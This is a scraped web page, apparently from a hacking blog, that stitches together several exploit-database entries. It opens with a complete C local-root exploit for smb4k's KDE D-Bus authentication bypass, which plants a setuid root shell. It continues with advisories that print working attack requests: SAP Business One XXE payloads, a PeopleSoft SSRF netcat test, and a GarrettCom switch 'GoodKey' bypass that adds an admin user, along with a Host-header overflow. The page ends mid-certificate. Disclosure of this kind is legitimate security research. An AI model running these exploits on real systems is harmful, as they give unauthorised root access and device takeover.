// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//
#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
char me[1024] = {0};
char *dbus[] = {
"/usr/bin/dbus-send",
"--system",
"--print-reply",
"--dest=net.sourceforge.smb4k.mounthelper",
"/",
"org.kde.auth.performActions",
"array:byte:"
// The variant map, containing evil mh_command key-pair
"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",
// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};
char *boomsh = "/tmp/xmount.cifs";
char *const sh[] = {me, "shell", NULL};
char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
struct stat st;
int fd = -1;
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
die("[-] readlink");
if (geteuid() == 0) {
setuid(0);
setgid(0);
if (argc == 2) {
execve(*bash, bash, NULL);
die("[-] execve of bash");
}
chown(me, 0, 0);
chmod(me, 04755);
exit(0);
}
printf("[*] Creating shellscript ...\n");
unlink(boomsh);
if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
die("[-] open");
write(fd, "#!/bin/sh\n", 10);
write(fd, me, strlen(me));
write(fd, "\n", 1);
close(fd);
printf("[*] Triggering call...\n");
if (fork() == 0) {
execve(*dbus, dbus, NULL);
exit(1);
}
wait(NULL);
sleep(5);
printf("[*] Trying to find rootshell...\n");
memset(&st, 0, sizeof(st));
stat(me, &st);
if ((st.st_mode & 04000) != 04000)
die("[-] Failed to chmod ourselfs.\n");
execve(me, sh, NULL);
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863170555
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175
CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method
reads an Int "index" then passes that to builtin_function
mov ebx, edi <-- controlled unsigned int
mov r14d, ebx
lea r15, __ZL9functions_0 ; functions
mov rax, [r15+r14*8]
if rax is non-null it's returned as an objective-c object pointer and the objective-c retain
selector is sent to it.
Serialized poc in attached file with an index of 12345678.
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42052.zip
Exploit Title: Blind XXE (XML External Entity)in SAP
Date of Disclosure: 17/05/2017
Author: Ravindra Singh Rathore
Vendor Homepage: https://www.sap.com/products/business-one.html
Product - SAP Business One Android Application
Version - 1.2.3
Security Note: 2378065
CVE - CVE-2016-6256
CVSS - 6.5
XXE - An XML External Entity(XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
SAP Business One Android Application is vulnerable to XXE. A remote attacker could exploit this vulnerability to expose highly sensitive information from servers.
1) HTTP Request Response
**************************************************************************
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3; JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3
Content-Length: 493
<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "https://live.com" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>
HTTP/1.1 500 Internal Server Error
Date: Wed, 18 May 2016 07:01:33 GMT
Server:
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml
Content-Length: 5566
Connection: close
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>Server Error</faultstring><detail><xci:reason xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">Connection timed out: connect</xci:reason><xci:tid xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">16051808473007955376AC106B972823</xci:tid><xci:exception xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect</xci:exception><xci:callStack xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:527)
at com.sap.b1i.xcellerator.IPOStepInstance.executeInner(IPOStepInstance.java:683)
at com.sap.b1i.xcellerator.IPOStepInstance.executeOuter(IPOStepInstance.java:518)
at com.sap.b1i.xcellerator.Xcellerator.trigger(Xcellerator.java:1422)
at com.sap.b1i.xcellerator.SingleAdapterPool.trigger(SingleAdapterPool.java:462)
at com.sap.b1i.xcellerator.ActiveListenerInteractor.trigger2(ActiveListenerInteractor.java:191)
at com.sap.b1i.xcl_wsar.WSARListener.executeWSAx(WSARListener.java:219)
at com.sap.b1i.xcl_wsar.WSARListener.handleWS(WSARListener.java:156)
at com.sap.b1i.xcl_http.HTTPListener._doXxx(HTTPListener.java:1504)
at com.sap.b1i.xcl_http.HTTPListener._doPost(HTTPListener.java:1405)
at com.sap.b1i.xcl_http.HTTPListener.service(HTTPListener.java:805)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:563)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:861)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:606)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
at java.lang.Thread.run(Thread.java:812)
Caused by: com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:295)
at com.sap.b1i.xcellerator.IPOStepInstance.handleIO(IPOStepInstance.java:1391)
at com.sap.b1i.xcellerator.IPOStepInstance.executeTransaction(IPOStepInstance.java:1050)
at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:425)
... 24 more
Caused by: com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:272)
at com.sap.b1i.utilities.SAXDoc2Pass.process(SAXDoc2Pass.java:121)
at com.sap.b1i.utilities.SAXDocSplitter.process(SAXDocSplitter.java:14)
at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:255)
... 27 more
Caused by: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:584)
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:745)
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:357)
at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:264)
... 30 more
Caused by: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:427)
at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:215)
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:562)
... 33 more
</xci:callStack><xci:retryLater xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">false</xci:retryLater></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
**************************************************************************
2) HTTP Request Response
**************************************************************************
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=3974AE7255D6C15EB0546A903DF474AC; JSESSIONID=3974AE7255D6C15EB0546A903DF474AC
Content-Length: 498
<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:19:44 GMT
Server:
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml;charset=UTF-8
Connection: close
Content-Length: 9689
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
<GetRecentActivityResponse xmlns="http://tempuri.org/">
<GetRecentActivityResult>[{"Number":"2352","Remarks":"Sales discounts","StartDateTime":"2016-06-01 06:40","Activity":"C","EndDateTime":"2016-06-01 06:55","Organizer":"Tom Mobile","CnctPerson":"Daniel Brown","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""},{"Number":"2390","Remarks":"Sales planning","StartDateTime":"2016-06-17 06:40","Activity":"M","EndDateTime":"2016-06-17 06:55","Organizer":"Tom Mobile","CnctPerson":"Bob McKensly","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""}]</GetRecentActivityResult>
</GetRecentActivityResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
**************************************************************************
Solution:
SAP has released patch on 13/12/2016
## Credits
* Ravindra Singh Rathore
* https://in.linkedin.com/in/ravindra-singh-rathore-8aa89236
* https://twitter.com/ravindra_hacks
Application: Oracle PeopleSoft
Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
PeopleSoft HCM 9.2
Vendor URL: http://oracle.com
Bugs: SSRF
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Roman Shalymov (ERPScan)
Description
1. ADVISORY INFORMATION
Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
Advisory ID: [ERPSCAN-17-022]
Risk: high
CVE: CVE-2017-3546
Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Date published: 18.04.2017
Vendors contacted: Oracle
2. VULNERABILITY INFORMATION
Class: SSRF
Impact: cross-site port attack, service enumeration
Remotely Exploitable: yes
Locally Exploitable: yes
CVSS Information
CVSS Base Score v3: 8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
An attacker can force a vulnerable server to trigger malicious
requests to third-party servers or to internal resources. This
vulnerability can then be leveraged to launch specific attacks such as
a cross-site port attack, service enumeration, and various other
attacks.
4. VULNERABLE PACKAGES
ToolsRelease: 8.55.03
ToolsReleaseDB: 8.55
PeopleSoft HCM 9.2
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, implement Oracle CPU April 2017
6. AUTHOR
Roman Shalymov
7. TECHNICAL DESCRIPTION
PoC
Run netcat
1. nc -l -p # on some host
In browser open the following links
http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT
http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"
Read response in netcat
GET /?param=var HTTP/1.1
User-Agent: Java1.7.0_95
Host: SOMEHOST:OPEN_PORT
Accept: text/html, image/gif, image/jpeg, /; q=.2
Connection: Keep-Alive
8. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.
ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.
9. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.
We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
Introduction
------------
Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT
(Magnum) series network switches. These were discovered during a black box
assessment and therefore the vulnerability list should not be considered
exhaustive; observations suggest that it is likely that further vulnerabilities
exist. It is strongly recommended that GarrettCom undertake a full whitebox
security assessment of these switches.
The version under test was indicated as: 4.6.0. Belden Garrettcom released
an advisory on 8 May 2017, indicating that issues were fixed in 4.7.7:
http://www.belden.com/docs/upload/Belden-GarrettCom-MNS-6K-10K-Security-Bulletin-BSECV-2017-8.pdf
GarrettCom-01 - Authentication Bypass: Hardcoded Web Interface Session Token
----------------------------------------------------------------------------
Severity: **High**
The string "GoodKey" can be used in place of a session token for the web
interface, allowing a complete bypass to all web interface authentication.
The following request/response demonstrates adding a user ‘gibson’ with the
password ‘god’ on any GarrettCom 6K or 10K switch.
GET /gc/service.php?a=addUser&uid=gibson&pass=god&type=manager&key=GoodKey
HTTP/1.1
Host: 192.168.0.2
Connection: close
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
Accept: */*
Referer: https://192.168.0.2/gc/flash.php
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
HTTP/1.0 200 OK
Server: GoAhead-Webs
Content-Type: text/html
<?xml version='1.0' encoding='UTF-8'?><data val="users"><changed
val="yes" />
<helpfile val="user_accounts.html" />
<user uid="operator" access="Operator" />
<user uid="manager" access="Manager" />
<user uid="gibson" access="Manager" />
</data>
GarrettCom-02 - Secrets Accessible to All Users
-----------------------------------------------
Severity: **High**
Unprivileged but authenticated users ("operator" level access) can view the
plaintext passwords of all users configured on the system, allowing them to
escalate privileges to "manager" level. While the default "show config"
masks the passwords, executing "show config saved" includes the plaintext
passwords. The value of the "secrets" setting does not affect this.
6K>show config group=user saved
...
#User Management#
user
add user=gibson level=2 pass=god
Exit
...
GarrettCom-03 - Stack Based Buffer Overflow in HTTP Server
----------------------------------------------------------
Severity: **High**
When rendering the /gc/flash.php page, the server performs URI encoding of
the Host header into a fixed-length buffer on the stack. This decoding appears
unbounded and can lead to memory corruption, possibly including remote code
execution. Sending garbage data appears to hang the webserver thread after
responding to the present request. Requests with Host headers longer than
220 characters trigger the observed behavior.
GET /gc/flash.php HTTP/1.1
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.28 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
GarrettCom-04 - SSL Keys Shared Across Devices
----------------------------------------------
Severity: **Moderate**
The SSL certificate on all devices running firmware version 4.6.0 is the
same. This issue was previously reported and an advisory released by
ICS-CERT. While GarrettCom reported the issue was fixed in 4.5.6, the web
server certificate remains static in 4.6.0:
openssl s_client -connect 192.168.0.5:443 -showcerts
CONNECTED(00000003)
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
verify return:1
---
Certificate chain
0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
192.168.1.2/emailAddress=gcisupport@belden.com
-----BEGIN CERTIFICATE-----
MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
